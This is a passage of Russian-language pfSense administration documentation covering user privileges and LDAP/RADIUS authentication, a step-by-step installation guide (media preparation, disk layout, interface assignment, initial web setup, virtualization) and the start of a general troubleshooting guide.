pfSense содержит предустановленную группу `admins`, которой назначена привилегия **WebCfg - All pages**. Все пользователи этой группы получают полный доступ к веб-интерфейсу. Учётная запись `admin` автоматически включена в эту группу.

### Создание группы

1. Перейти в **System > User Manager**, вкладка **Groups**
2. Нажать **Add**
3. Заполнить параметры:

| Параметр | Описание |
|---|---|
| Group name | Имя группы (латинские буквы, цифры) |
| Scope | Local (для локальных групп) или Remote (для групп из LDAP/RADIUS) |
| Description | Описание назначения группы |
| Group membership | Пользователи, входящие в группу |

4. Нажать **Save**
5. Открыть группу для редактирования
6. В секции **Assigned Privileges** нажать **Add**
7. Выбрать необходимые привилегии
8. Нажать **Save**

### Типовые схемы привилегий

| Роль | Привилегии | Назначение |
|---|---|---|
| Полный администратор | WebCfg - All pages | Полный доступ ко всем страницам веб-интерфейса |
| Оператор мониторинга | WebCfg - Dashboard, WebCfg - Status: * | Просмотр состояния системы без возможности изменений |
| VPN-администратор | WebCfg - OpenVPN: *, WebCfg - IPsec: * | Управление VPN-подключениями |
| Администратор файрвола | WebCfg - Firewall: *, WebCfg - Diagnostics: * | Управление правилами файрвола и диагностика |
| Пользователь VPN | User - VPN: IPsec/OpenVPN | Только подключение через VPN |

### Принцип наименьших привилегий

При назначении привилегий следует придерживаться следующих правил:

- Каждый пользователь получает только те привилегии, которые необходимы для выполнения его задач
- Привилегии назначаются через группы, а не индивидуально (за исключением особых случаев)
- Регулярно проводить аудит привилегий и удалять неиспользуемые
- Документировать обоснование для назначения каждой привилегии

## Серверы аутентификации

pfSense поддерживает интеграцию с внешними серверами аутентификации для централизованного управления учётными записями.

### LDAP и Active Directory

LDAP-интеграция позволяет аутентифицировать пользователей через корпоративный каталог Active Directory или OpenLDAP.

#### Настройка LDAP-сервера

1. Перейти в **System > User Manager**, вкладка **Authentication Servers**
2. Нажать **Add**
3. Заполнить параметры:

| Параметр | Значение | Описание |
|---|---|---|
| Descriptive name | Corporate-AD | Имя для идентификации |
| Type | LDAP | Тип сервера |
| Hostname or IP | dc.example.com | Адрес контроллера домена |
| Port | 389 (LDAP) / 636 (LDAPS) | Порт подключения |
| Transport | TCP - Standard / SSL/TLS | Протокол транспорта |
| Peer Certificate Authority | AD-CA | CA для проверки сертификата сервера (при LDAPS) |
| Protocol version | 3 | Версия протокола LDAP |
| Search scope | Entire Subtree | Область поиска |
| Base DN | DC=example,DC=com | Базовый DN для поиска |
| Authentication containers | OU=Users,DC=example,DC=com | Контейнеры для поиска пользователей |
| Bind credentials | CN=ldap-reader,OU=Service,DC=example,DC=com | Учётная запись для поиска (bind DN) |
| User naming attribute | samAccountName | Атрибут имени пользователя (AD) |
| Group naming attribute | cn | Атрибут имени группы |
| Group member attribute | memberOf | Атрибут членства в группах |

4. Нажать **Save**

#### Требования к учётной записи bind

Для поиска пользователей в каталоге pfSense необходима служебная учётная запись (bind account) с правами чтения. Требования к этой учётной записи:

- Минимальные привилегии - только чтение атрибутов пользователей и групп
- Пароль не должен истекать (или необходимо обеспечить своевременную ротацию в pfSense)
- Учётная запись не должна быть заблокирована политиками безопасности AD

> **Внимание**:
>
> Не следует использовать доменного администратора в качестве bind-аккаунта. Компрометация этой учётной записи даст атакующему чрезмерные привилегии в домене.

### RADIUS

RADIUS-интеграция обеспечивает аутентификацию через централизованный RADIUS-сервер (FreeRADIUS, Microsoft NPS, Cisco ISE и др.).

#### Настройка RADIUS-сервера

1. Перейти в **System > User Manager**, вкладка **Authentication Servers**
2. Нажать **Add**
3. Заполнить параметры:

| Параметр | Значение | Описание |
|---|---|---|
| Descriptive name | Corporate-RADIUS | Имя для идентификации |
| Type | RADIUS | Тип сервера |
| Hostname or IP | radius.example.com | Адрес RADIUS-сервера |
| Shared Secret | ************ | Общий секрет для связи с сервером |
| Services offered | Authentication and Accounting | Предоставляемые сервисы |
| Authentication port | 1812 | Порт аутентификации |
| Accounting port | 1813 | Порт учёта |
| Authentication Timeout | 5 | Таймаут ожидания ответа (секунды) |
| RADIUS NAS IP Attribute | LAN IP | IP-адрес pfSense для идентификации на RADIUS-сервере |

4. Нажать **Save**

#### Маппинг групп RADIUS

Для назначения привилегий пользователям, аутентифицированным через RADIUS, необходимо создать локальные группы с областью действия **Remote** и настроить на RADIUS-сервере возврат атрибута, содержащего имя группы. Имя группы в RADIUS-атрибуте должно точно совпадать с именем локальной группы в pfSense.

### Тестирование аутентификации

После настройки сервера аутентификации необходимо проверить корректность подключения:

1. Перейти в **Diagnostics > Authentication**
2. Выбрать сервер аутентификации
3. Ввести имя пользователя и пароль
4. Нажать **Test**

Результат отображает статус аутентификации и список групп, к которым принадлежит пользователь. При неудачной аутентификации следует проверить:

- Доступность сервера по сети (ping, traceroute)
- Корректность bind-credentials (для LDAP)
- Корректность shared secret (для RADIUS)
- Правильность Base DN и Authentication containers (для LDAP)

### Настройка источника аутентификации по умолчанию

Для изменения источника аутентификации, используемого при входе в веб-интерфейс:

1. Перейти в **System > User Manager**, вкладка **Settings**
2. В поле **Authentication Server** выбрать нужный сервер
3. Нажать **Save**

> **Внимание**:
>
> При переключении на внешний сервер аутентификации необходимо убедиться, что локальная учётная запись admin остаётся работоспособной. В случае недоступности внешнего сервера она останется единственным способом входа в систему.

## Доступ к консоли и SSH

### SSH-доступ

pfSense поддерживает SSH-доступ для администрирования через командную строку.

1. Включить SSH: **System > Advanced**, вкладка **Admin Access**, секция **Secure Shell**
2. Установить флажок **Enable Secure Shell**
3. Указать порт SSH (по умолчанию 22)
4. Выбрать метод аутентификации:

| Метод | Описание |
|---|---|
| Password | Аутентификация по паролю (менее безопасно) |
| Public Key Only | Только по SSH-ключу (рекомендуется) |
| Both | Пароль и ключ |

Для SSH-аутентификации по ключу необходимо добавить публичный ключ в поле **Authorized keys** учётной записи пользователя.

### Shell-доступ

По умолчанию пользователи с SSH-доступом получают меню pfSense console. Для предоставления полного shell-доступа (tcsh) необходимо:

1. Назначить пользователю привилегию **User - System: Shell account access**
2. Этот доступ предоставляет полные возможности командной строки FreeBSD

> **Внимание**:
>
> Shell-доступ предоставляет неограниченные возможности модификации системы, включая прямое редактирование конфигурации. Следует предоставлять его только доверенным администраторам.

### Sudo-доступ

pfSense поддерживает sudo через установку пакета **sudo**:

1. Установить пакет sudo через **System > Package Manager**
2. Настроить правила sudo в **System > sudo**
3. Определить, какие команды доступны для каждого пользователя или группы

## Многофакторная аутентификация

pfSense поддерживает многофакторную аутентификацию (MFA) через интеграцию с RADIUS-серверами, поддерживающими TOTP/HOTP (например, FreeRADIUS с модулем Google Authenticator или privacyIDEA).

### Схема работы MFA

1. Пользователь вводит имя и пароль в форме входа pfSense
2. pfSense передаёт учётные данные на RADIUS-сервер
3. RADIUS-сервер проверяет пароль и запрашивает OTP (или принимает OTP, объединённый с паролем)
4. При успешной проверке RADIUS возвращает Access-Accept

### Интеграция с TOTP

Для реализации TOTP (Time-based One-Time Password) необходимо:

1. Настроить RADIUS-сервер с поддержкой TOTP
2. Добавить RADIUS-сервер в pfSense как описано выше
3. Настроить пользователей на RADIUS-сервере с привязкой TOTP-секрета
4. Пользователи вводят пароль, конкатенированный с OTP-кодом (формат зависит от конфигурации RADIUS)

## Устранение неполадок

### Не удаётся войти в веб-интерфейс

Возможные причины и решения:

| Причина | Решение |
|---|---|
| Забыт пароль admin | Сбросить пароль через консоль (опция 3 в меню) |
| Внешний сервер аутентификации недоступен | Войти с локальной учётной записью admin |
| Учётная запись заблокирована | Проверить дату истечения и статус учётной записи |
| Браузер не принимает сертификат | Проверить [настройки сертификатов](/docs/pfsense/certificates/pfsense-certificate-management/) |

### LDAP bind не работает

1. Проверить доступность LDAP-сервера: **Diagnostics > Ping** или **Diagnostics > Test Port**
2. Убедиться в корректности формата bind DN (для AD: CN=user,OU=container,DC=domain,DC=com)
3. Проверить, не заблокирована ли служебная учётная запись политиками AD
4. При использовании LDAPS - убедиться, что CA-сертификат импортирован в pfSense
5. Использовать **Diagnostics > Authentication** для тестирования

### Группы LDAP/RADIUS не маппятся на привилегии

1. Создать локальную группу с областью действия **Remote**
2. Убедиться, что имя локальной группы точно совпадает с именем группы в каталоге
3. Для LDAP: проверить атрибут **Group member attribute** (memberOf для AD)
4. Для RADIUS: проверить, что RADIUS-сервер возвращает атрибут с именем группы
5. Использовать **Diagnostics > Authentication** для проверки списка групп пользователя

### Пользователь VPN не может подключиться

1. Убедиться, что учётная запись не деактивирована и не истекла
2. Проверить, что учётная запись имеет привилегию VPN-доступа
3. Для сертификатной аутентификации - проверить привязку [сертификата к пользователю](/docs/pfsense/certificates/pfsense-certificate-management/)
4. Проверить логи VPN в **Status > System Logs**

## Примечания по миграции

При миграции конфигурации pfSense между устройствами локальная база пользователей переносится автоматически в составе config.xml. Следует учитывать:

- Все локальные пользователи, группы и привилегии сохраняются в [резервной копии](/docs/pfsense/backup/pfsense-backup-recovery/)
- Настройки внешних серверов аутентификации (LDAP, RADIUS) переносятся, но подключение необходимо проверить после миграции
- SSH-ключи пользователей сохраняются в конфигурации
- Пользовательские сертификаты переносятся вместе с основной конфигурацией

## Связанные разделы

- [Управление сертификатами](/docs/pfsense/certificates/pfsense-certificate-management/) - создание клиентских сертификатов для VPN-аутентификации
- [VPN - OpenVPN](/docs/pfsense/vpn/openvpn/) - настройка VPN с пользовательской аутентификацией
- [Правила файрвола](/docs/pfsense/firewall/pfsense-firewall-rules/) - ограничение доступа к веб-интерфейсу по IP-адресам


---

# Установка pfSense - пошаговое руководство по развертыванию

Source: https://opennix.org/docs/pfsense/installation/pfsense-installation-guide/


Установка pfSense включает несколько последовательных этапов: загрузку установочного образа, подготовку загрузочного носителя, установку системы на диск, назначение сетевых интерфейсов и первоначальную настройку через веб-интерфейс. Руководство охватывает установку как на физическое оборудование, так и в среды виртуализации, и рассчитано на администраторов, знакомых с основами сетевого администрирования.

## Предварительные требования

Перед началом установки необходимо убедиться в выполнении следующих условий:

- Оборудование соответствует [системным требованиям pfSense](/docs/pfsense/installation/pfsense-system-requirements/) - процессор amd64, не менее 1 ГБ оперативной памяти, не менее 8 ГБ дискового пространства
- Доступно не менее двух сетевых интерфейсов для типовой конфигурации WAN + LAN (один интерфейс допустим, но ограничивает функциональность)
- Подготовлен USB-накопитель объёмом не менее 2 ГБ или DVD-диск для записи установочного образа
- Имеется подключение к интернету на WAN-интерфейсе (требуется для загрузки пакетов в процессе установки)
- Для виртуальных машин - настроены виртуальные сетевые адаптеры соответствующего типа (VirtIO, VMXNET3 или E1000 в зависимости от платформы)

## Загрузка установочного образа

Установочные образы pfSense доступны для загрузки через Netgate Store по адресу `https://shop.netgate.com/products/netgate-installer`. Для загрузки требуется учётная запись Netgate Store - регистрация бесплатна.

### Типы установочных образов

| Тип образа | Назначение |
|---|---|
| AMD64 Memstick (VGA) | Установка с USB-накопителя на оборудование с видеовыходом |
| AMD64 Memstick (Serial) | Установка с USB-накопителя на оборудование с последовательной консолью |
| AMD64 ISO | Установка с оптического диска или через виртуальный привод (IPMI, iLO, виртуализация) |
| AARCH64 Memstick ARM | Установка на 64-разрядные ARM-устройства (Netgate 1100, 2100) |

Для большинства физических серверов и рабочих станций следует выбирать **AMD64 Memstick (VGA)**. Образ **ISO** предпочтителен при установке в среде виртуализации или через IPMI/iLO, поскольку его удобно подключать как виртуальный привод.

### Выбор архитектуры

pfSense поддерживает исключительно 64-разрядную архитектуру. 32-разрядные системы не поддерживаются. При загрузке убедитесь, что выбран образ для архитектуры **AMD64** (она же x86-64) - эта архитектура охватывает все современные процессоры Intel и AMD.

### Проверка целостности образа

После загрузки следует проверить контрольную сумму SHA-256 файла. Официальные контрольные суммы опубликованы на сайте Netgate. Проверку необходимо выполнить **до распаковки** архива.

```bash
# Linux
sha256sum pfSense-plus-installer-*.img.gz

# macOS
shasum -a 256 pfSense-plus-installer-*.img.gz

# FreeBSD
sha256 pfSense-plus-installer-*.img.gz
```

```powershell
# Windows PowerShell
Get-FileHash pfSense-plus-installer-*.img.gz -Algorithm SHA256
```

> **Внимание**:
>
> Браузер Safari на macOS по умолчанию автоматически распаковывает загруженные архивы. В этом случае проверка контрольной суммы невозможна. Перед загрузкой следует отключить эту функцию в настройках Safari или использовать другой браузер.

## Подготовка загрузочного носителя

Установочный образ поставляется в сжатом формате `.gz`. Перед записью на носитель его необходимо распаковать.

### Распаковка образа

```bash
# Linux / macOS / FreeBSD
gunzip pfSense-plus-installer-*.img.gz
```

В Windows для распаковки используется утилита 7-Zip.

### Запись на USB-накопитель

> **Внимание**:
>
> Запись установочного образа полностью уничтожает все данные на целевом носителе. Перед выполнением операции необходимо убедиться, что выбрано корректное устройство. Ошибка в выборе устройства приведёт к безвозвратной потере данных на системном диске.

#### Linux

Определите имя устройства USB-накопителя с помощью `lsblk`, затем выполните запись:

```bash
sudo dd if=pfSense-plus-installer-*.img of=/dev/sdX bs=4M status=progress
sync
```

Замените `/dev/sdX` на фактическое имя устройства (например, `/dev/sdb`). Указывайте имя диска целиком, а не раздела - `/dev/sdb`, а не `/dev/sdb1`.

#### macOS

Перед записью необходимо отмонтировать накопитель:

```bash
sudo diskutil unmountDisk /dev/diskN
sudo dd if=pfSense-plus-installer-*.img of=/dev/rdiskN bs=4m status=progress
sudo diskutil eject /dev/diskN
```

Замените `/dev/diskN` на фактическое имя устройства. Использование `/dev/rdiskN` (raw-устройство) вместо `/dev/diskN` значительно ускоряет процесс записи.

#### Windows

Для записи в Windows рекомендуется использовать одну из следующих утилит:

- **Etcher** (balena.io) - поддерживает запись сжатых образов напрямую, содержит защиту от выбора системного диска. Рекомендуемый вариант
- **Win32 Disk Imager** - альтернативная утилита, отображает только съёмные устройства, что снижает риск случайной перезаписи системного диска

В обоих случаях достаточно указать файл образа и целевое устройство, после чего запустить процесс записи.

### Запись на DVD

Образ формата ISO можно записать на DVD стандартными средствами операционной системы:

- **Windows** - встроенная функция записи образов (правый клик по файлу ISO, "Записать образ диска")
- **Linux** - утилиты `wodim`, `xorriso` или графический интерфейс Brasero
- **macOS** - Finder или утилита `hdiutil burn`

## Процесс установки

### Загрузка с установочного носителя

Подключите USB-накопитель или вставьте DVD, затем включите или перезагрузите целевую систему. При необходимости измените приоритет загрузки в BIOS/UEFI, чтобы загрузка выполнялась с установочного носителя.

После загрузки отобразится меню установщика.

![Меню загрузки установщика pfSense](/img/pfsense/pfsense-installer-boot-menu.webp)

<p style="text-align: center;">Рис. 1. Меню загрузки установщика pfSense</p>

При подключении через последовательную консоль установщик предложит выбрать тип терминала: `ansi`, `vt100`, `xterm` или `cons25w`.

### Лицензионное соглашение

Первый экран установщика - лицензионное соглашение pfSense. Для продолжения необходимо принять его условия. Навигация выполняется клавишами Page Up/Page Down, подтверждение - клавишей Enter.

### Главное меню установщика

После принятия лицензии отобразится главное меню со следующими пунктами:

- **Install** - начать установку
- **Rescue Shell** - открыть командную оболочку для восстановления
- **Configuration Restore** - восстановить конфигурацию из предыдущей установки или USB-носителя
- **Advanced Options** - дополнительные параметры установки

Для стандартной установки следует выбрать **Install**.

### Настройка сетевого подключения

Установщик требует подключения к интернету через WAN-интерфейс для загрузки пакетов. На этом этапе необходимо:

1. Выбрать WAN-интерфейс из списка обнаруженных сетевых адаптеров
2. Настроить подключение - DHCP (по умолчанию), статический IP-адрес или PPPoE
3. При необходимости настроить VLAN-тегирование
4. Выбрать LAN-интерфейс и задать его параметры (по умолчанию - 192.168.1.1/24, DHCP-сервер включён с диапазоном 192.168.1.100--192.168.1.150)

### Выбор файловой системы

Установщик предлагает выбор между двумя файловыми системами:

| Файловая система | Характеристики |
|---|---|
| **ZFS** | Современная файловая система с поддержкой boot environments, контрольных сумм данных и снапшотов. Рекомендуется для большинства развёртываний. Потребляет больше ресурсов |
| **UFS** | Традиционная файловая система FreeBSD. Меньшее потребление ресурсов, но отсутствуют функции ZFS. Подходит для систем с ограниченными ресурсами |

Для продуктивных развёртываний рекомендуется **ZFS**. Функция boot environments позволяет откатиться к предыдущей версии системы после неудачного обновления - это критически важно для межсетевого экрана.

![Выбор диска в установщике pfSense](/img/pfsense/pfsense-installer-disk-selection.webp)

<p style="text-align: center;">Рис. 2. Выбор диска для установки</p>

### Схема разделов и разметка диска

Установщик предлагает выбор схемы разметки:

- **GPT** - современный стандарт, совместим с большинством оборудования amd64. Рекомендуемый вариант
- **MBR** - устаревшая схема разметки, обеспечивает совместимость со старым оборудованием. Используется на ARM-платформах

При выборе ZFS доступны следующие режимы организации дисков:

| Режим | Описание | Требования |
|---|---|---|
| Stripe | Данные записываются на диски без избыточности. Максимальная ёмкость | 1+ диск |
| Mirror | Зеркалирование данных. Защита от отказа одного диска | 2+ диска |
| RAID-Z1 | Аналог RAID-5. Защита от отказа одного диска | 3+ диска |
| RAID-Z2 | Аналог RAID-6. Защита от отказа двух дисков | 4+ диска |
| RAID-Z3 | Защита от отказа трёх дисков | 5+ дисков |

Для одиночного диска используется режим **Stripe**. При наличии двух дисков рекомендуется **Mirror** - это обеспечит отказоустойчивость без существенного усложнения конфигурации.

![Разметка диска в установщике pfSense](/img/pfsense/pfsense-installer-partitioning.webp)

<p style="text-align: center;">Рис. 3. Выбор режима организации дисков (ZFS)</p>

### Дополнительные параметры установки

В меню **Advanced Options** доступны следующие настройки:

- **Swap Size** - размер раздела подкачки (по умолчанию определяется автоматически, можно указать вручную, например, `1G`; значение `0` отключает swap)
- **Low Capacity System** - режим для устройств с объёмом хранилища менее 4 ГБ: отключает swap, использует UFS с MBR
- **ZFS Pool Name** - имя ZFS-пула (по умолчанию `pfSense`)
- **Console Type** - тип консоли: EFI, Video или None
- **Wipe Disks** - очистка метаданных разделов и файловых систем на целевых дисках перед установкой

### Подтверждение и установка

После выбора всех параметров установщик отобразит предупреждение о том, что все данные на выбранных дисках будут уничтожены. После подтверждения начнётся загрузка и установка выбранной версии pfSense.

По завершении установки появится предложение перезагрузить систему или открыть командную оболочку для дополнительных настроек. При перезагрузке необходимо извлечь установочный носитель, чтобы загрузка выполнилась с диска.

## Назначение интерфейсов

После первой загрузки с установленной системы pfSense отобразит консольное меню. При первом запуске система предложит назначить сетевые интерфейсы.

![Консольное меню pfSense](/img/pfsense/pfsense-console-menu.webp)

<p style="text-align: center;">Рис. 4. Консольное меню pfSense после установки</p>

### Настройка VLAN

Первый вопрос - необходимость настройки VLAN-интерфейсов. Для большинства базовых конфигураций следует ответить `n` (нет). Настройку VLAN можно выполнить позже через веб-интерфейс.

Если VLAN требуются с самого начала (например, при подключении к транковому порту коммутатора), следует ответить `y` и указать номер VLAN-тега и приоритет.

### Назначение WAN и LAN

Система отобразит список обнаруженных сетевых интерфейсов с их MAC-адресами и статусом подключения (up/down). Для назначения интерфейсов доступны два способа.

**Автоматическое определение:**

1. Отключите все сетевые кабели
2. Введите `a` и нажмите Enter
3. Подключите кабель к интерфейсу, который должен стать WAN
4. Дождитесь определения подключения
5. Нажмите Enter для подтверждения
6. Повторите процедуру для LAN и дополнительных интерфейсов

**Ручное назначение:**

Введите имя интерфейса (например, `igb0`, `em0`, `vmx0`, `vtnet0`) при запросе WAN, затем при запросе LAN. Для завершения добавления интерфейсов нажмите Enter без ввода имени.

Идентифицировать интерфейсы можно по:

- MAC-адресу, отображаемому в списке
- Имени драйвера (`igb` - Intel, `em` - Intel, `re` - Realtek, `vtnet` - VirtIO, `vmx` - VMXNET3)
- Статусу подключения (up/down) - подключите кабель к нужному порту и проверьте, какой интерфейс перешёл в состояние up

![Назначение интерфейсов pfSense](/img/pfsense/pfsense-interface-assignment.webp)

<p style="text-align: center;">Рис. 5. Назначение WAN и LAN интерфейсов</p>

После назначения система запросит подтверждение: `Do you want to proceed (y|n)?`. Введите `y` для применения конфигурации.

### Параметры по умолчанию после назначения

| Параметр | Значение |
|---|---|
| WAN IP | Получен по DHCP |
| LAN IP | 192.168.1.1/24 |
| DHCP-сервер на LAN | Включён (диапазон 192.168.1.100 - 192.168.1.199) |
| Правила файрвола WAN | Весь входящий трафик заблокирован |
| Правила файрвола LAN | Весь исходящий трафик разрешён |
| DNS Resolver | Включён (Unbound) |

## Первоначальная настройка через веб-интерфейс

После назначения интерфейсов pfSense готов к настройке через веб-интерфейс.

### Доступ к веб-интерфейсу

1. Подключите рабочую станцию к LAN-порту pfSense
2. Убедитесь, что рабочая станция получила IP-адрес по DHCP из диапазона 192.168.1.0/24
3. Откройте браузер и перейдите по адресу `https://192.168.1.1`
4. Примите предупреждение о самоподписанном сертификате
5. Введите учётные данные по умолчанию: логин `admin`, пароль `pfsense`

> **Внимание**:
>
> Учётные данные по умолчанию необходимо изменить сразу после первого входа. Оставление стандартного пароля представляет серьёзную угрозу безопасности.

### Мастер первоначальной настройки

При первом входе автоматически запустится мастер настройки (Setup Wizard), который проведёт через основные параметры конфигурации:

1. **Hostname и Domain** - имя хоста и домен (например, `pfsense.local`)
2. **DNS-серверы** - адреса DNS-серверов провайдера или публичные DNS (8.8.8.8, 1.1.1.1)
3. **Часовой пояс** - выбор часового пояса и NTP-сервера
4. **Настройка WAN** - тип подключения (DHCP, Static, PPPoE), параметры провайдера, MTU
5. **Настройка LAN** - IP-адрес и маска подсети LAN-интерфейса
6. **Пароль администратора** - обязательная смена пароля по умолчанию
7. **Применение конфигурации** - сохранение и применение всех параметров

![Мастер настройки pfSense](/img/pfsense/pfsense-webgui-wizard.webp)

<p style="text-align: center;">Рис. 6. Мастер первоначальной настройки (Setup Wizard)</p>

После завершения работы мастера отобразится главная панель управления pfSense (Dashboard). Система готова к дальнейшей настройке правил файрвола, VPN, NAT и других сервисов.

## Установка в виртуальной среде

При развёртывании pfSense в виртуальной среде процесс установки аналогичен физическому оборудованию, однако требует учёта специфики гипервизора. Подробные требования к каждой платформе описаны в разделе [системных требований](/docs/pfsense/installation/pfsense-system-requirements/).

### VMware ESXi

- Подключите ISO-образ через виртуальный CD/DVD-привод виртуальной машины
- Используйте тип гостевой ОС **FreeBSD 14 (64-bit)**
- Сетевые адаптеры: **VMXNET3** для максимальной производительности
- Дисковый контроллер: **PVSCSI** (требуется минимальный объём диска 8 ГБ)
- Убедитесь, что в настройках CPU включена передача инструкций AES-NI

### Proxmox VE

- Загрузите ISO-образ в хранилище Proxmox (Datacenter > Storage > ISO Images)
- Тип машины: **q35**
- Сетевые адаптеры: **VirtIO (virtio-net)** - драйверы включены в ядро FreeBSD
- Дисковый контроллер: **VirtIO SCSI**
- Тип CPU: **host** (для проброса аппаратных инструкций)

### KVM / QEMU (без Proxmox)

Пример создания виртуальной машины:

```bash
virt-install \
  --name pfsense \
  --ram 2048 \
  --vcpus 2 \
  --disk size=16,bus=virtio \
  --cdrom /path/to/pfSense-plus-installer.iso \
  --network bridge=br0,model=virtio \
  --network bridge=br1,model=virtio \
  --os-variant freebsd14.0 \
  --graphics vnc
```

Для headless-установки через последовательную консоль используйте Serial-образ и добавьте параметр `--console pty,target_type=serial`.

### Hyper-V

- Создайте виртуальную машину **Generation 2**
- **Отключите Secure Boot** в настройках виртуальной машины - без этого pfSense не загрузится
- Используйте синтетические сетевые адаптеры Hyper-V
- Подключите ISO-образ через виртуальный DVD-привод

### Общие рекомендации

- Выделяйте фиксированный объём оперативной памяти (не используйте динамическое выделение)
- Создавайте отдельные виртуальные коммутаторы или сетевые мосты для WAN и LAN
- После установки удалите виртуальный CD/DVD-привод из конфигурации виртуальной машины
- Для высоконагруженных сценариев рассмотрите PCI Passthrough физических сетевых адаптеров

## Устранение неполадок

### Сетевой адаптер не обнаружен

**Симптом:** Установщик или система после установки не отображает один или несколько сетевых интерфейсов.

**Решения:**

- Проверьте совместимость адаптера с версией FreeBSD, на которой основан используемый выпуск pfSense. Список совместимого оборудования доступен в FreeBSD Hardware Notes
- USB-сетевые адаптеры не поддерживаются и не будут обнаружены
- В виртуальных средах убедитесь, что используется поддерживаемый тип адаптера (VirtIO, VMXNET3, E1000) - эмулированные адаптеры rtl8139 и ne2k могут не распознаваться
- При использовании PCI Passthrough проверьте, что IOMMU (VT-d / AMD-Vi) включён в BIOS

### Система не загружается с установочного носителя

**Симптом:** При загрузке система игнорирует USB-накопитель или DVD и загружается с внутреннего диска.

**Решения:**

- Проверьте приоритет загрузки в BIOS/UEFI - USB должен быть выше внутреннего диска
- Для UEFI-систем убедитесь, что Secure Boot отключён
- Если USB-накопитель не отображается в меню загрузки, попробуйте другой USB-порт (USB 2.0 вместо USB 3.0 на старом оборудовании)
- Убедитесь, что образ записан на диск целиком, а не скопирован как файл. Образ необходимо записывать через `dd` или Etcher, а не простым копированием файла на флеш-накопитель
- Проверьте целостность образа через контрольную сумму SHA-256

### Система не загружается после установки

**Симптом:** После завершения установки и перезагрузки система не загружается с внутреннего диска.

**Решения:**

- Извлеките установочный носитель перед загрузкой
- Проверьте, что в BIOS выбран корректный загрузочный диск
- При использовании GPT на оборудовании без поддержки UEFI попробуйте переустановить с разметкой MBR
- Убедитесь, что диск не повреждён - запустите установщик повторно и используйте опцию **Wipe Disks** в Advanced Options перед переустановкой

### Нет доступа к веб-интерфейсу

**Симптом:** Браузер не открывает `https://192.168.1.1` после установки.

**Решения:**

- Убедитесь, что рабочая станция подключена к LAN-порту, а не к WAN
- Проверьте, что рабочая станция получила IP-адрес в подсети 192.168.1.0/24 (по DHCP или вручную)
- Если LAN-адрес был изменён в процессе установки, используйте актуальный адрес
- Попробуйте HTTP вместо HTTPS: `http://192.168.1.1`
- Из консоли pfSense выберите пункт **2) Set interface(s) IP address** для проверки или изменения IP-адреса LAN
- Выберите пункт **16) Restart PHP-FPM** в консольном меню для перезапуска веб-сервера

### Ошибки при установке ZFS

**Симптом:** Установщик сообщает об ошибках при создании ZFS-пула.

**Решения:**

- При установке в режиме Mirror или RAID-Z убедитесь, что выбрано достаточное количество дисков
- Используйте опцию **Wipe Disks** для очистки метаданных предыдущих файловых систем на целевых дисках
- Для систем с объёмом хранилища менее 4 ГБ используйте UFS вместо ZFS - включите режим **Low Capacity System** в Advanced Options

## Связанные разделы

- [Системные требования pfSense](/docs/pfsense/installation/pfsense-system-requirements/) - проверка совместимости оборудования перед установкой
- [Обновление pfSense](/docs/pfsense/installation/pfsense-upgrading/) - обновление между версиями после успешной установки
- [Правила файрвола](/docs/pfsense/firewall/pfsense-firewall-rules/) - настройка правил фильтрации после завершения первоначальной настройки


---

# Устранение неполадок pfSense - общее руководство

Source: https://opennix.org/docs/pfsense/troubleshooting/pfsense-general-troubleshooting/


Устранение неполадок pfSense охватывает широкий спектр проблем: от потери связи с интернетом до деградации производительности и невозможности доступа к веб-интерфейсу. В этом руководстве систематизированы наиболее частые проблемы и методы их решения, начиная с общей методологии диагностики.

Перед началом диагностики определите, что именно не работает: полное отсутствие связи, частичные потери, проблемы только с определенными протоколами или только с определенных хостов. Точная формулировка симптома сокращает время поиска причины в несколько раз.

## Методология диагностики

### Послойная проверка

Придерживайтесь проверки снизу вверх по модели OSI:

1. **Физический уровень** - проверьте индикаторы подключения на интерфейсах (Status - Interfaces), убедитесь, что кабели подключены и link установлен
2. **Канальный уровень** - проверьте ARP-таблицу (Diagnostics - ARP Table), убедитесь, что MAC-адрес шлюза провайдера присутствует
3. **Сетевой уровень** - проверьте IP-адресацию интерфейсов, таблицу маршрутизации (Diagnostics - Routes), выполните ping с самого pfSense (Diagnostics - Ping)
4. **Транспортный уровень** - проверьте правила файрвола (Firewall - Rules), состояния соединений (Diagnostics - States), NAT-правила
5. **Прикладной уровень** - проверьте DNS (Diagnostics - DNS Lookup), работу прокси-серверов, VPN-туннелей

### Инструменты диагностики pfSense

| Инструмент | Расположение | Назначение |
|---|---|---|
| Ping | Diagnostics - Ping | Проверка доступности хоста |
| Traceroute | Diagnostics - Traceroute | Определение маршрута до хоста |
| DNS Lookup | Diagnostics - DNS Lookup | Проверка разрешения имен |
| Packet Capture | Diagnostics - Packet Capture | Захват трафика на интерфейсе |
| pfTop | Diagnostics - pfTop | Активные соединения в реальном времени |
| States | Diagnostics - States | Таблица состояний файрвола |
| Routes | Diagnostics - Routes | Таблица маршрутизации |
| System Logs | Status - System Logs | Журналы всех служб |

## Проблемы с подключением

### Нет доступа в интернет

**Симптом**: клиенты LAN не могут выйти в интернет, при этом pfSense доступен по LAN-адресу.

Порядок проверки:

1. **Проверьте WAN-интерфейс**: Status - Interfaces. Убедитесь, что WAN получил IP-адрес, шлюз и DNS-серверы
2. **Проверьте шлюз**: System - Routing - Gateways. Статус шлюза по умолчанию должен быть Online
3. **Ping с pfSense**: Diagnostics - Ping, выберите WAN-интерфейс как источник, выполните ping до 8.8.8.8
4. **Проверьте NAT**: Firewall - NAT - Outbound. Для стандартных конфигураций должен быть установлен режим Automatic outbound NAT
5. **Проверьте DNS**: Diagnostics - DNS Lookup, разрешите google.com. Если не работает - проверьте System - General Setup - DNS Servers

Если ping с WAN-интерфейса pfSense до внешнего IP работает, а клиенты LAN не могут выйти в интернет, проблема в NAT или правилах файрвола на LAN-интерфейсе.

### Нет доступа к внутренним хостам

**Симптом**: клиенты из одной подсети не могут подключиться к серверам в другой подсети через pfSense.

Проверка:

1. **Правила файрвола**: проверьте правила на интерфейсе-источнике. pfSense применяет правила на входящем интерфейсе (ingress filtering)
2. **Маршрутизация**: убедитесь, что pfSense знает маршрут до обеих подсетей (Diagnostics - Routes)
3. **Обратный маршрут**: убедитесь, что хосты назначения имеют маршрут обратно через pfSense
4. **Asymmetric routing**: если трафик приходит на pfSense через один интерфейс, а уходит через другой, проверьте настройку **System - Advanced - Firewall & NAT - Bypass firewall rules for traffic on the same interface**

## Проблемы с DNS

### DNS не разрешает имена

**Симптом**: ping по IP-адресу работает, но ping по имени хоста возвращает ошибку.

Порядок действий:

1. **Проверьте DNS-серверы pfSense**: System - General Setup. Убедитесь, что DNS-серверы указаны и доступны
